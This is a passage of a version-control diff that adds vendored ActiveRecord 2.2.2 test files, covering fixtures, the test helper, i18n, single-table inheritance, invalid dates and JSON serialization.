+    assert_not_nil @accounts
+  end
+end
+
+class TransactionalFixturesTest < ActiveRecord::TestCase
+  self.use_instantiated_fixtures = true
+  self.use_transactional_fixtures = true
+
+  fixtures :topics
+
+  def test_destroy
+    assert_not_nil @first
+    @first.destroy
+  end
+
+  def test_destroy_just_kidding
+    assert_not_nil @first
+  end
+end
+
+class MultipleFixturesTest < ActiveRecord::TestCase
+  fixtures :topics
+  fixtures :developers, :accounts
+
+  def test_fixture_table_names
+    assert_equal %w(topics developers accounts), fixture_table_names
+  end
+end
+
+class SetupTest < ActiveRecord::TestCase
+  # fixtures :topics
+
+  def setup
+    @first = true
+  end
+
+  def test_nothing
+  end
+end
+
+class SetupSubclassTest < SetupTest
+  def setup
+    super
+    @second = true
+  end
+
+  def test_subclassing_should_preserve_setups
+    assert @first
+    assert @second
+  end
+end
+
+
+class OverlappingFixturesTest < ActiveRecord::TestCase
+  fixtures :topics, :developers
+  fixtures :developers, :accounts
+
+  def test_fixture_table_names
+    assert_equal %w(topics developers accounts), fixture_table_names
+  end
+end
+
+class ForeignKeyFixturesTest < ActiveRecord::TestCase
+  fixtures :fk_test_has_pk, :fk_test_has_fk
+
+  # if foreign keys are implemented and fixtures
+  # are not deleted in reverse order then this test
+  # case will raise StatementInvalid
+
+  def test_number1
+    assert true
+  end
+
+  def test_number2
+    assert true
+  end
+end
+
+class CheckSetTableNameFixturesTest < ActiveRecord::TestCase
+  set_fixture_class :funny_jokes => 'Joke'
+  fixtures :funny_jokes
+  # Set to false to blow away fixtures cache and ensure our fixtures are loaded 
+  # and thus takes into account our set_fixture_class
+  self.use_transactional_fixtures = false
+
+  def test_table_method
+    assert_kind_of Joke, funny_jokes(:a_joke)
+  end
+end
+
+class FixtureNameIsNotTableNameFixturesTest < ActiveRecord::TestCase
+  set_fixture_class :items => Book
+  fixtures :items
+  # Set to false to blow away fixtures cache and ensure our fixtures are loaded 
+  # and thus takes into account our set_fixture_class
+  self.use_transactional_fixtures = false
+
+  def test_named_accessor
+    assert_kind_of Book, items(:dvd)
+  end
+end
+
+class FixtureNameIsNotTableNameMultipleFixturesTest < ActiveRecord::TestCase
+  set_fixture_class :items => Book, :funny_jokes => Joke
+  fixtures :items, :funny_jokes
+  # Set to false to blow away fixtures cache and ensure our fixtures are loaded 
+  # and thus takes into account our set_fixture_class
+  self.use_transactional_fixtures = false
+
+  def test_named_accessor_of_differently_named_fixture
+    assert_kind_of Book, items(:dvd)
+  end
+
+  def test_named_accessor_of_same_named_fixture
+    assert_kind_of Joke, funny_jokes(:a_joke)
+  end
+end
+
+class CustomConnectionFixturesTest < ActiveRecord::TestCase
+  set_fixture_class :courses => Course
+  fixtures :courses
+  # Set to false to blow away fixtures cache and ensure our fixtures are loaded 
+  # and thus takes into account our set_fixture_class
+  self.use_transactional_fixtures = false
+
+  def test_connection
+    assert_kind_of Course, courses(:ruby)
+    assert_equal Course.connection, courses(:ruby).connection
+  end
+end
+
+class InvalidTableNameFixturesTest < ActiveRecord::TestCase
+  fixtures :funny_jokes
+  # Set to false to blow away fixtures cache and ensure our fixtures are loaded 
+  # and thus takes into account our lack of set_fixture_class
+  self.use_transactional_fixtures = false
+
+  def test_raises_error
+    assert_raises FixtureClassNotFound do
+      funny_jokes(:a_joke)
+    end
+  end
+end
+
+class CheckEscapedYamlFixturesTest < ActiveRecord::TestCase
+  set_fixture_class :funny_jokes => 'Joke'
+  fixtures :funny_jokes
+  # Set to false to blow away fixtures cache and ensure our fixtures are loaded 
+  # and thus takes into account our set_fixture_class
+  self.use_transactional_fixtures = false
+
+  def test_proper_escaped_fixture
+    assert_equal "The \\n Aristocrats\nAte the candy\n", funny_jokes(:another_joke).name
+  end
+end
+
+class DevelopersProject; end
+class ManyToManyFixturesWithClassDefined < ActiveRecord::TestCase
+  fixtures :developers_projects
+
+  def test_this_should_run_cleanly
+    assert true
+  end
+end
+
+class FixturesBrokenRollbackTest < ActiveRecord::TestCase
+  def blank_setup; end
+  alias_method :ar_setup_fixtures, :setup_fixtures
+  alias_method :setup_fixtures, :blank_setup
+  alias_method :setup, :blank_setup
+
+  def blank_teardown; end
+  alias_method :ar_teardown_fixtures, :teardown_fixtures
+  alias_method :teardown_fixtures, :blank_teardown
+  alias_method :teardown, :blank_teardown
+
+  def test_no_rollback_in_teardown_unless_transaction_active
+    assert_equal 0, ActiveRecord::Base.connection.open_transactions
+    assert_raise(RuntimeError) { ar_setup_fixtures }
+    assert_equal 0, ActiveRecord::Base.connection.open_transactions
+    assert_nothing_raised { ar_teardown_fixtures }
+    assert_equal 0, ActiveRecord::Base.connection.open_transactions
+  end
+
+  private
+    def load_fixtures
+      raise 'argh'
+    end
+end
+
+class LoadAllFixturesTest < ActiveRecord::TestCase
+  self.fixture_path = FIXTURES_ROOT + "/all"
+  fixtures :all
+
+  def test_all_there
+    assert_equal %w(developers people tasks), fixture_table_names.sort
+  end
+end
+
+class FasterFixturesTest < ActiveRecord::TestCase
+  fixtures :categories, :authors
+
+  def load_extra_fixture(name)
+    fixture = create_fixtures(name)
+    assert fixture.is_a?(Fixtures)
+    @loaded_fixtures[fixture.table_name] = fixture
+  end
+
+  def test_cache
+    assert Fixtures.fixture_is_cached?(ActiveRecord::Base.connection, 'categories')
+    assert Fixtures.fixture_is_cached?(ActiveRecord::Base.connection, 'authors')
+
+    assert_no_queries do
+      create_fixtures('categories')
+      create_fixtures('authors')
+    end
+
+    load_extra_fixture('posts')
+    assert Fixtures.fixture_is_cached?(ActiveRecord::Base.connection, 'posts')
+    self.class.setup_fixture_accessors('posts')
+    assert_equal 'Welcome to the weblog', posts(:welcome).title
+  end
+end
+
+class FoxyFixturesTest < ActiveRecord::TestCase
+  fixtures :parrots, :parrots_pirates, :pirates, :treasures, :mateys, :ships, :computers, :developers
+
+  def test_identifies_strings
+    assert_equal(Fixtures.identify("foo"), Fixtures.identify("foo"))
+    assert_not_equal(Fixtures.identify("foo"), Fixtures.identify("FOO"))
+  end
+
+  def test_identifies_symbols
+    assert_equal(Fixtures.identify(:foo), Fixtures.identify(:foo))
+  end
+
+  TIMESTAMP_COLUMNS = %w(created_at created_on updated_at updated_on)
+
+  def test_populates_timestamp_columns
+    TIMESTAMP_COLUMNS.each do |property|
+      assert_not_nil(parrots(:george).send(property), "should set #{property}")
+    end
+  end
+
+  def test_does_not_populate_timestamp_columns_if_model_has_set_record_timestamps_to_false
+    TIMESTAMP_COLUMNS.each do |property|
+      assert_nil(ships(:black_pearl).send(property), "should not set #{property}")
+    end
+  end
+
+  def test_populates_all_columns_with_the_same_time
+    last = nil
+
+    TIMESTAMP_COLUMNS.each do |property|
+      current = parrots(:george).send(property)
+      last ||= current
+
+      assert_equal(last, current)
+      last = current
+    end
+  end
+
+  def test_only_populates_columns_that_exist
+    assert_not_nil(pirates(:blackbeard).created_on)
+    assert_not_nil(pirates(:blackbeard).updated_on)
+  end
+
+  def test_preserves_existing_fixture_data
+    assert_equal(2.weeks.ago.to_date, pirates(:redbeard).created_on.to_date)
+    assert_equal(2.weeks.ago.to_date, pirates(:redbeard).updated_on.to_date)
+  end
+
+  def test_generates_unique_ids
+    assert_not_nil(parrots(:george).id)
+    assert_not_equal(parrots(:george).id, parrots(:louis).id)
+  end
+
+  def test_automatically_sets_primary_key
+    assert_not_nil(ships(:black_pearl))
+  end
+
+  def test_preserves_existing_primary_key
+    assert_equal(2, ships(:interceptor).id)
+  end
+
+  def test_resolves_belongs_to_symbols
+    assert_equal(parrots(:george), pirates(:blackbeard).parrot)
+  end
+
+  def test_ignores_belongs_to_symbols_if_association_and_foreign_key_are_named_the_same
+    assert_equal(developers(:david), computers(:workstation).developer)
+  end
+
+  def test_supports_join_tables
+    assert(pirates(:blackbeard).parrots.include?(parrots(:george)))
+    assert(pirates(:blackbeard).parrots.include?(parrots(:louis)))
+    assert(parrots(:george).pirates.include?(pirates(:blackbeard)))
+  end
+
+  def test_supports_inline_habtm
+    assert(parrots(:george).treasures.include?(treasures(:diamond)))
+    assert(parrots(:george).treasures.include?(treasures(:sapphire)))
+    assert(!parrots(:george).treasures.include?(treasures(:ruby)))
+  end
+
+  def test_supports_inline_habtm_with_specified_id
+    assert(parrots(:polly).treasures.include?(treasures(:ruby)))
+    assert(parrots(:polly).treasures.include?(treasures(:sapphire)))
+    assert(!parrots(:polly).treasures.include?(treasures(:diamond)))
+  end
+
+  def test_supports_yaml_arrays
+    assert(parrots(:louis).treasures.include?(treasures(:diamond)))
+    assert(parrots(:louis).treasures.include?(treasures(:sapphire)))
+  end
+
+  def test_strips_DEFAULTS_key
+    assert_raise(StandardError) { parrots(:DEFAULTS) }
+
+    # this lets us do YAML defaults and not have an extra fixture entry
+    %w(sapphire ruby).each { |t| assert(parrots(:davey).treasures.include?(treasures(t))) }
+  end
+
+  def test_supports_label_interpolation
+    assert_equal("frederick", parrots(:frederick).name)
+  end
+
+  def test_supports_polymorphic_belongs_to
+    assert_equal(pirates(:redbeard), treasures(:sapphire).looter)
+    assert_equal(parrots(:louis), treasures(:ruby).looter)
+  end
+
+  def test_only_generates_a_pk_if_necessary
+    m = Matey.find(:first)
+    m.pirate = pirates(:blackbeard)
+    m.target = pirates(:redbeard)
+  end
+
+  def test_supports_sti
+    assert_kind_of DeadParrot, parrots(:polly)
+    assert_equal pirates(:blackbeard), parrots(:polly).killer
+  end
+end
+
+class ActiveSupportSubclassWithFixturesTest < ActiveRecord::TestCase
+  fixtures :parrots
+
+  # This seemingly useless assertion catches a bug that caused the fixtures
+  # setup code call nil[]
+  def test_foo
+    assert_equal parrots(:louis), Parrot.find_by_name("King Louis")
+  end
+end
+
+class FixtureLoadingTest < ActiveRecord::TestCase
+  uses_mocha 'reloading_fixtures_through_accessor_methods' do
+    def test_logs_message_for_failed_dependency_load
+      Test::Unit::TestCase.expects(:require_dependency).with(:does_not_exist).raises(LoadError)
+      ActiveRecord::Base.logger.expects(:warn)
+      Test::Unit::TestCase.try_to_load_dependency(:does_not_exist)
+    end
+
+    def test_does_not_logs_message_for_successful_dependency_load
+      Test::Unit::TestCase.expects(:require_dependency).with(:works_out_fine)
+      ActiveRecord::Base.logger.expects(:warn).never
+      Test::Unit::TestCase.try_to_load_dependency(:works_out_fine)
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,62 @@
+$:.unshift(File.dirname(__FILE__) + '/../../lib')
+$:.unshift(File.dirname(__FILE__) + '/../../../activesupport/lib')
+
+require 'config'
+require 'test/unit'
+
+require 'active_record'
+require 'active_record/fixtures'
+require 'active_record/test_case'
+require 'connection'
+
+# Show backtraces for deprecated behavior for quicker cleanup.
+ActiveSupport::Deprecation.debug = true
+
+# Quote "type" if it's a reserved word for the current connection.
+QUOTED_TYPE = ActiveRecord::Base.connection.quote_column_name('type')
+
+def current_adapter?(*types)
+  types.any? do |type|
+    ActiveRecord::ConnectionAdapters.const_defined?(type) &&
+      ActiveRecord::Base.connection.is_a?(ActiveRecord::ConnectionAdapters.const_get(type))
+  end
+end
+
+def uses_mocha(description)
+  require 'rubygems'
+  require 'mocha'
+  yield
+rescue LoadError
+  $stderr.puts "Skipping #{description} tests. `gem install mocha` and try again."
+end
+
+ActiveRecord::Base.connection.class.class_eval do
+  IGNORED_SQL = [/^PRAGMA/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/]
+
+  def execute_with_query_record(sql, name = nil, &block)
+    $queries_executed ||= []
+    $queries_executed << sql unless IGNORED_SQL.any? { |r| sql =~ r }
+    execute_without_query_record(sql, name, &block)
+  end
+
+  alias_method_chain :execute, :query_record
+end
+
+# Make with_scope public for tests
+class << ActiveRecord::Base
+  public :with_scope, :with_exclusive_scope
+end
+
+unless ENV['FIXTURE_DEBUG']
+  module Test #:nodoc:
+    module Unit #:nodoc:
+      class << TestCase #:nodoc:
+        def try_to_load_dependency_with_silence(*args)
+          ActiveRecord::Base.logger.silence { try_to_load_dependency_without_silence(*args)}
+        end
+
+        alias_method_chain :try_to_load_dependency, :silence
+      end
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/i18n_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/i18n_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/i18n_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,41 @@
+require "cases/helper"
+require 'models/topic'
+require 'models/reply'
+
+class ActiveRecordI18nTests < Test::Unit::TestCase
+
+  def setup
+    I18n.backend = I18n::Backend::Simple.new
+  end
+  
+  def test_translated_model_attributes
+    I18n.backend.store_translations 'en', :activerecord => {:attributes => {:topic => {:title => 'topic title attribute'} } }
+    assert_equal 'topic title attribute', Topic.human_attribute_name('title')
+  end
+
+  def test_translated_model_attributes_with_sti
+    I18n.backend.store_translations 'en', :activerecord => {:attributes => {:reply => {:title => 'reply title attribute'} } }
+    assert_equal 'reply title attribute', Reply.human_attribute_name('title')
+  end
+
+  def test_translated_model_attributes_with_sti_fallback
+    I18n.backend.store_translations 'en', :activerecord => {:attributes => {:topic => {:title => 'topic title attribute'} } }
+    assert_equal 'topic title attribute', Reply.human_attribute_name('title')
+  end
+
+  def test_translated_model_names
+    I18n.backend.store_translations 'en', :activerecord => {:models => {:topic => 'topic model'} }
+    assert_equal 'topic model', Topic.human_name
+  end
+
+  def test_translated_model_names_with_sti
+    I18n.backend.store_translations 'en', :activerecord => {:models => {:reply => 'reply model'} }
+    assert_equal 'reply model', Reply.human_name
+  end
+
+  def test_translated_model_names_with_sti_fallback
+    I18n.backend.store_translations 'en', :activerecord => {:models => {:topic => 'topic model'} }
+    assert_equal 'topic model', Reply.human_name
+  end
+end
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/inheritance_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/inheritance_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/inheritance_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,262 @@
+require "cases/helper"
+require 'models/company'
+require 'models/project'
+require 'models/subscriber'
+
+class InheritanceTest < ActiveRecord::TestCase
+  fixtures :companies, :projects, :subscribers, :accounts
+
+  def test_class_with_store_full_sti_class_returns_full_name
+    old = ActiveRecord::Base.store_full_sti_class
+    ActiveRecord::Base.store_full_sti_class = true
+    assert_equal 'Namespaced::Company', Namespaced::Company.sti_name
+  ensure
+    ActiveRecord::Base.store_full_sti_class = old
+  end
+
+  def test_class_without_store_full_sti_class_returns_demodulized_name
+    old = ActiveRecord::Base.store_full_sti_class
+    ActiveRecord::Base.store_full_sti_class = false
+    assert_equal 'Company', Namespaced::Company.sti_name
+  ensure
+    ActiveRecord::Base.store_full_sti_class = old
+  end
+
+  def test_should_store_demodulized_class_name_with_store_full_sti_class_option_disabled
+    old = ActiveRecord::Base.store_full_sti_class
+    ActiveRecord::Base.store_full_sti_class = false
+    item = Namespaced::Company.new
+    assert_equal 'Company', item[:type]
+  ensure
+    ActiveRecord::Base.store_full_sti_class = old
+  end
+  
+  def test_should_store_full_class_name_with_store_full_sti_class_option_enabled
+    old = ActiveRecord::Base.store_full_sti_class
+    ActiveRecord::Base.store_full_sti_class = true
+    item = Namespaced::Company.new
+    assert_equal 'Namespaced::Company', item[:type]
+  ensure
+    ActiveRecord::Base.store_full_sti_class = old
+  end
+  
+  def test_different_namespace_subclass_should_load_correctly_with_store_full_sti_class_option
+    old = ActiveRecord::Base.store_full_sti_class
+    ActiveRecord::Base.store_full_sti_class = true
+    item = Namespaced::Company.create :name => "Wolverine 2"
+    assert_not_nil Company.find(item.id)
+    assert_not_nil Namespaced::Company.find(item.id)
+  ensure
+    ActiveRecord::Base.store_full_sti_class = old
+  end
+
+  def test_company_descends_from_active_record
+    assert_raise(NoMethodError) { ActiveRecord::Base.descends_from_active_record? }
+    assert AbstractCompany.descends_from_active_record?, 'AbstractCompany should descend from ActiveRecord::Base'
+    assert Company.descends_from_active_record?, 'Company should descend from ActiveRecord::Base'
+    assert !Class.new(Company).descends_from_active_record?, 'Company subclass should not descend from ActiveRecord::Base'
+  end
+
+  def test_a_bad_type_column
+    #SQLServer need to turn Identity Insert On before manually inserting into the Identity column
+    if current_adapter?(:SybaseAdapter)
+      Company.connection.execute "SET IDENTITY_INSERT companies ON"
+    end
+    Company.connection.insert "INSERT INTO companies (id, #{QUOTED_TYPE}, name) VALUES(100, 'bad_class!', 'Not happening')"
+
+    #We then need to turn it back Off before continuing.
+    if current_adapter?(:SybaseAdapter)
+      Company.connection.execute "SET IDENTITY_INSERT companies OFF"
+    end
+    assert_raises(ActiveRecord::SubclassNotFound) { Company.find(100) }
+  end
+
+  def test_inheritance_find
+    assert Company.find(1).kind_of?(Firm), "37signals should be a firm"
+    assert Firm.find(1).kind_of?(Firm), "37signals should be a firm"
+    assert Company.find(2).kind_of?(Client), "Summit should be a client"
+    assert Client.find(2).kind_of?(Client), "Summit should be a client"
+  end
+
+  def test_alt_inheritance_find
+    switch_to_alt_inheritance_column
+    test_inheritance_find
+    switch_to_default_inheritance_column
+  end
+
+  def test_inheritance_find_all
+    companies = Company.find(:all, :order => 'id')
+    assert companies[0].kind_of?(Firm), "37signals should be a firm"
+    assert companies[1].kind_of?(Client), "Summit should be a client"
+  end
+
+  def test_alt_inheritance_find_all
+    switch_to_alt_inheritance_column
+    test_inheritance_find_all
+    switch_to_default_inheritance_column
+  end
+
+  def test_inheritance_save
+    firm = Firm.new
+    firm.name = "Next Angle"
+    firm.save
+
+    next_angle = Company.find(firm.id)
+    assert next_angle.kind_of?(Firm), "Next Angle should be a firm"
+  end
+
+  def test_alt_inheritance_save
+    switch_to_alt_inheritance_column
+    test_inheritance_save
+    switch_to_default_inheritance_column
+  end
+
+  def test_inheritance_condition
+    assert_equal 9, Company.count
+    assert_equal 2, Firm.count
+    assert_equal 3, Client.count
+  end
+
+  def test_alt_inheritance_condition
+    switch_to_alt_inheritance_column
+    test_inheritance_condition
+    switch_to_default_inheritance_column
+  end
+
+  def test_finding_incorrect_type_data
+    assert_raises(ActiveRecord::RecordNotFound) { Firm.find(2) }
+    assert_nothing_raised   { Firm.find(1) }
+  end
+
+  def test_alt_finding_incorrect_type_data
+    switch_to_alt_inheritance_column
+    test_finding_incorrect_type_data
+    switch_to_default_inheritance_column
+  end
+
+  def test_update_all_within_inheritance
+    Client.update_all "name = 'I am a client'"
+    assert_equal "I am a client", Client.find(:all).first.name
+    assert_equal "37signals", Firm.find(:all).first.name
+  end
+
+  def test_alt_update_all_within_inheritance
+    switch_to_alt_inheritance_column
+    test_update_all_within_inheritance
+    switch_to_default_inheritance_column
+  end
+
+  def test_destroy_all_within_inheritance
+    Client.destroy_all
+    assert_equal 0, Client.count
+    assert_equal 2, Firm.count
+  end
+
+  def test_alt_destroy_all_within_inheritance
+    switch_to_alt_inheritance_column
+    test_destroy_all_within_inheritance
+    switch_to_default_inheritance_column
+  end
+
+  def test_find_first_within_inheritance
+    assert_kind_of Firm, Company.find(:first, :conditions => "name = '37signals'")
+    assert_kind_of Firm, Firm.find(:first, :conditions => "name = '37signals'")
+    assert_nil Client.find(:first, :conditions => "name = '37signals'")
+  end
+
+  def test_alt_find_first_within_inheritance
+    switch_to_alt_inheritance_column
+    test_find_first_within_inheritance
+    switch_to_default_inheritance_column
+  end
+
+  def test_complex_inheritance
+    very_special_client = VerySpecialClient.create("name" => "veryspecial")
+    assert_equal very_special_client, VerySpecialClient.find(:first, :conditions => "name = 'veryspecial'")
+    assert_equal very_special_client, SpecialClient.find(:first, :conditions => "name = 'veryspecial'")
+    assert_equal very_special_client, Company.find(:first, :conditions => "name = 'veryspecial'")
+    assert_equal very_special_client, Client.find(:first, :conditions => "name = 'veryspecial'")
+    assert_equal 1, Client.find(:all, :conditions => "name = 'Summit'").size
+    assert_equal very_special_client, Client.find(very_special_client.id)
+  end
+
+  def test_alt_complex_inheritance
+    switch_to_alt_inheritance_column
+    test_complex_inheritance
+    switch_to_default_inheritance_column
+  end
+
+  def test_eager_load_belongs_to_something_inherited
+    account = Account.find(1, :include => :firm)
+    assert_not_nil account.instance_variable_get("@firm"), "nil proves eager load failed"
+  end
+
+  def test_eager_load_belongs_to_primary_key_quoting
+    con = Account.connection
+    assert_sql(/\(#{con.quote_table_name('companies')}.#{con.quote_column_name('id')} = 1\)/) do
+      Account.find(1, :include => :firm)
+    end
+  end
+
+  def test_alt_eager_loading
+    switch_to_alt_inheritance_column
+    test_eager_load_belongs_to_something_inherited
+    switch_to_default_inheritance_column
+  end
+
+  def test_inheritance_without_mapping
+    assert_kind_of SpecialSubscriber, SpecialSubscriber.find("webster132")
+    assert_nothing_raised { s = SpecialSubscriber.new("name" => "And breaaaaathe!"); s.id = 'roger'; s.save }
+  end
+
+  private
+    def switch_to_alt_inheritance_column
+      # we don't want misleading test results, so get rid of the values in the type column
+      Company.find(:all, :order => 'id').each do |c|
+        c['type'] = nil
+        c.save
+      end
+      [ Company, Firm, Client].each { |klass| klass.reset_column_information }
+      Company.set_inheritance_column('ruby_type')
+    end
+    def switch_to_default_inheritance_column
+      [ Company, Firm, Client].each { |klass| klass.reset_column_information }
+      Company.set_inheritance_column('type')
+    end
+end
+
+
+class InheritanceComputeTypeTest < ActiveRecord::TestCase
+  fixtures :companies
+
+  def setup
+    ActiveSupport::Dependencies.log_activity = true
+  end
+
+  def teardown
+    ActiveSupport::Dependencies.log_activity = false
+    self.class.const_remove :FirmOnTheFly rescue nil
+    Firm.const_remove :FirmOnTheFly rescue nil
+  end
+
+  def test_instantiation_doesnt_try_to_require_corresponding_file
+    foo = Firm.find(:first).clone
+    foo.ruby_type = foo.type = 'FirmOnTheFly'
+    foo.save!
+
+    # Should fail without FirmOnTheFly in the type condition.
+    assert_raise(ActiveRecord::RecordNotFound) { Firm.find(foo.id) }
+
+    # Nest FirmOnTheFly in the test case where Dependencies won't see it.
+    self.class.const_set :FirmOnTheFly, Class.new(Firm)
+    assert_raise(ActiveRecord::SubclassNotFound) { Firm.find(foo.id) }
+
+    # Nest FirmOnTheFly in Firm where Dependencies will see it.
+    # This is analogous to nesting models in a migration.
+    Firm.const_set :FirmOnTheFly, Class.new(Firm)
+
+    # And instantiate will find the existing constant rather than trying
+    # to require firm_on_the_fly.
+    assert_nothing_raised { assert_kind_of Firm::FirmOnTheFly, Firm.find(foo.id) }
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/invalid_date_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/invalid_date_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/invalid_date_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+require 'cases/helper'
+require 'models/topic'
+
+class InvalidDateTest < Test::Unit::TestCase
+  def test_assign_valid_dates
+    valid_dates = [[2007, 11, 30], [1993, 2, 28], [2008, 2, 29]]
+
+    invalid_dates = [[2007, 11, 31], [1993, 2, 29], [2007, 2, 29]]
+
+    topic = Topic.new
+
+    valid_dates.each do |date_src|
+      topic = Topic.new("last_read(1i)" => date_src[0].to_s, "last_read(2i)" => date_src[1].to_s, "last_read(3i)" => date_src[2].to_s)
+      assert_equal(topic.last_read, Date.new(*date_src))
+    end
+
+    invalid_dates.each do |date_src|
+      assert_nothing_raised do
+        topic = Topic.new({"last_read(1i)" => date_src[0].to_s, "last_read(2i)" => date_src[1].to_s, "last_read(3i)" => date_src[2].to_s})
+        assert_equal(topic.last_read, Time.local(*date_src).to_date, "The date should be modified according to the behaviour of the Time object")
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/json_serialization_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/json_serialization_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/json_serialization_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,205 @@
+require "cases/helper"
+require 'models/contact'
+require 'models/post'
+require 'models/author'
+require 'models/tagging'
+require 'models/tag'
+require 'models/comment'
+
+class JsonSerializationTest < ActiveRecord::TestCase
+  class NamespacedContact < Contact
+    column :name,        :string
+  end
+
+  def setup
+    @contact = Contact.new(
+      :name        => 'Konata Izumi',
+      :age         => 16,
+      :avatar      => 'binarydata',
+      :created_at  => Time.utc(2006, 8, 1),
+      :awesome     => true,
+      :preferences => { :shows => 'anime' }
+    )
+  end
+
+  def test_should_demodulize_root_in_json
+    NamespacedContact.include_root_in_json = true
+    @contact = NamespacedContact.new :name => 'whatever'
+    json = @contact.to_json
+    assert_match %r{^\{"namespaced_contact": \{}, json
+  end
+
+  def test_should_include_root_in_json
+    Contact.include_root_in_json = true
+    json = @contact.to_json
+
+    assert_match %r{^\{"contact": \{}, json
+    assert_match %r{"name": "Konata Izumi"}, json
+    assert_match %r{"age": 16}, json
+    assert json.include?(%("created_at": #{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+    assert_match %r{"awesome": true}, json
+    assert_match %r{"preferences": \{"shows": "anime"\}}, json
+  ensure
+    Contact.include_root_in_json = false
+  end
+
+  def test_should_encode_all_encodable_attributes
+    json = @contact.to_json
+
+    assert_match %r{"name": "Konata Izumi"}, json
+    assert_match %r{"age": 16}, json
+    assert json.include?(%("created_at": #{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+    assert_match %r{"awesome": true}, json
+    assert_match %r{"preferences": \{"shows": "anime"\}}, json
+  end
+
+  def test_should_allow_attribute_filtering_with_only
+    json = @contact.to_json(:only => [:name, :age])
+
+    assert_match %r{"name": "Konata Izumi"}, json
+    assert_match %r{"age": 16}, json
+    assert_no_match %r{"awesome": true}, json
+    assert !json.include?(%("created_at": #{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+    assert_no_match %r{"preferences": \{"shows": "anime"\}}, json
+  end
+
+  def test_should_allow_attribute_filtering_with_except
+    json = @contact.to_json(:except => [:name, :age])
+
+    assert_no_match %r{"name": "Konata Izumi"}, json
+    assert_no_match %r{"age": 16}, json
+    assert_match %r{"awesome": true}, json
+    assert json.include?(%("created_at": #{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+    assert_match %r{"preferences": \{"shows": "anime"\}}, json
+  end
+
+  def test_methods_are_called_on_object
+    # Define methods on fixture.
+    def @contact.label; "Has cheezburger"; end
+    def @contact.favorite_quote; "Constraints are liberating"; end
+
+    # Single method.
+    assert_match %r{"label": "Has cheezburger"}, @contact.to_json(:only => :name, :methods => :label)
+
+    # Both methods.
+    methods_json = @contact.to_json(:only => :name, :methods => [:label, :favorite_quote])
+    assert_match %r{"label": "Has cheezburger"}, methods_json
+    assert_match %r{"favorite_quote": "Constraints are liberating"}, methods_json
+  end
+end
+
+class DatabaseConnectedJsonEncodingTest < ActiveRecord::TestCase
+  fixtures :authors, :posts, :comments, :tags, :taggings
+
+  def setup
+    @david = authors(:david)
+    @mary = authors(:mary)
+  end
+
+  def test_includes_uses_association_name
+    json = @david.to_json(:include => :posts)
+
+    assert_match %r{"posts": \[}, json
+
+    assert_match %r{"id": 1}, json
+    assert_match %r{"name": "David"}, json
+
+    assert_match %r{"author_id": 1}, json
+    assert_match %r{"title": "Welcome to the weblog"}, json
+    assert_match %r{"body": "Such a lovely day"}, json
+
+    assert_match %r{"title": "So I was thinking"}, json
+    assert_match %r{"body": "Like I hopefully always am"}, json
+  end
+
+  def test_includes_uses_association_name_and_applies_attribute_filters
+    json = @david.to_json(:include => { :posts => { :only => :title } })
+
+    assert_match %r{"name": "David"}, json
+    assert_match %r{"posts": \[}, json
+
+    assert_match %r{"title": "Welcome to the weblog"}, json
+    assert_no_match %r{"body": "Such a lovely day"}, json
+
+    assert_match %r{"title": "So I was thinking"}, json
+    assert_no_match %r{"body": "Like I hopefully always am"}, json
+  end
+
+  def test_includes_fetches_second_level_associations
+    json = @david.to_json(:include => { :posts => { :include => { :comments => { :only => :body } } } })
+
+    assert_match %r{"name": "David"}, json
+    assert_match %r{"posts": \[}, json
+
+    assert_match %r{"comments": \[}, json
+    assert_match %r{\{"body": "Thank you again for the welcome"\}}, json
+    assert_match %r{\{"body": "Don't think too hard"\}}, json
+    assert_no_match %r{"post_id": }, json
+  end
+
+  def test_includes_fetches_nth_level_associations
+    json = @david.to_json(
+      :include => {
+        :posts => {
+          :include => {
+            :taggings => {
+              :include => {
+                :tag => { :only => :name }
+              }
+            }
+          }
+        }
+    })
+
+    assert_match %r{"name": "David"}, json
+    assert_match %r{"posts": \[}, json
+
+    assert_match %r{"taggings": \[}, json
+    assert_match %r{"tag": \{"name": "General"\}}, json
+  end
+
+  def test_should_not_call_methods_on_associations_that_dont_respond
+    def @david.favorite_quote; "Constraints are liberating"; end
